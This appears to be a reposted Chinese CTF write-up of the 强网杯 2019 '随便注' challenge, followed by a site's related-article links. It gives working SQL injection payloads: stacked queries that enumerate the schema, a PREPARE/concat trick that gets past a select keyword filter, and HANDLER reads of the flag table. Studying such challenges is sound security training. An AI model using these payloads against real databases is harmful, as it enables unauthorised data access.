当前位置: 首页 > news >正文

[强网杯2019]随便注-----堆叠注入,预编译

题解

注入1’ or 1=1

有报错,可以知道这是sql注入

注入1’ or 1=1#

成功输出了该表的所有数据,但是没有flag

' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。

既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字。

注入

1';show databases;//查看数据库名

查看数据表

注入1';show tables from supersqli;

先看看表1919810931114514的列

1';show columns from `1919810931114514`;#

注意如果表名是纯数字要用`反引号包裹

对了看别人wp讲到查看表结构的两种方式

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

看到flag

但是select被过滤了,怎么打开flag

运用预编译

1';PREPARE test from concat('s','elect', ' * from `1919810931114514` ');EXECUTE test;#

此外再介绍一个handle

handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

打开表:
HANDLER 表名 OPEN ;查看数据:
HANDLER 表名 READ next;关闭表:
HANDLER 表名 READ CLOSE;

SQL预编译

是一种数据库查询优化技术,它允许将SQL语句模板化,通过使用占位符代替实际的参数值。这样,当相同结构的SQL语句需要多次执行时,数据库服务器只需进行一次编译,从而节省了每次执行时都进行解析和编译的性能开销。预编译不仅提高了查询速度,还有助于防止SQL注入攻击。

预编译的使用方法

在MySQL中,预编译的过程通常包括以下几个步骤:

  1. 定义预编译SQL语句:使用prepare语句创建一个预编译语句,其中包含占位符?来代替实际的参数值。 PREPARE statement_name FROM 'SELECT * FROM table WHERE column = ?';

  2. 设置参数值:使用SET命令为占位符赋值。 SET @param = value;

  3. 执行预编译SQL语句:使用EXECUTE命令执行预编译语句,并使用USING关键字指定参数。 EXECUTE statement_name USING @param;

  4. 释放预编译SQL语句:使用DEALLOCATE PREPARE命令释放预编译语句。 DEALLOCATE PREPARE statement_name;

http://www.dtcms.com/a/360137.html

相关文章:

  • 主网上线后生态极速扩张的 Berachain 生态,有哪些值得关注的项目?
  • Java全局异常处理器:优雅处理系统异常
  • 【Android】LayoutInflater 控件实例化的桥梁类
  • 【重学MySQL】九十五、Linux 下 MySQL 大小写规则设置详解
  • Java中的异常,枚举,泛型,代理
  • 人工智能知识体系全景图:从基础概念到2025年前沿技术(一)
  • 2025年8月个人工作生活总结
  • vsftpd的基本整理
  • 基于多模态大模型的PCB智能缺陷检测与分析
  • STM32F103C8T6的智能医疗药品存储柜系统设计与华为云实现
  • 设计模式八股
  • 算法题(196):最大异或对
  • 【系统分析师】高分论文:论网络系统的安全设计
  • 异步编程与面向对象知识总结
  • SDL3.0 学习随笔:其一
  • 暄桐:唯有认真思考过死亡,才足以应对日常
  • Deep Think with Confidence:llm如何进行高效率COT推理优化
  • Docker中Mysql容器忽略大小写
  • 卫星互联网:6G时代的关键基础设施与全球竞争格局
  • 记一次下载oneforall报错及解决方案
  • 企业数据湖:从混沌到秩序的分层设计与治理策略
  • 性能测试工具-SkyWalking
  • 事件驱动架构新范式:FastEvent 让领域事件开发变得优雅
  • 【HarmonyOS】天气预报 UI 的基本实现
  • KingbaseES JDBC 驱动详解:连接、配置与最佳实践
  • docker,数据卷
  • ES6 面试题及详细答案 80题 (13-21)-- 数组与字符串扩展
  • 【71页PPT】工业40及智能制造解决方案(附下载方式)
  • (LeetCode 每日一题) 36. 有效的数独 (数组、哈希表)
  • 决胜千里之外:服务器及硬件项目标书制作全流程与避坑指南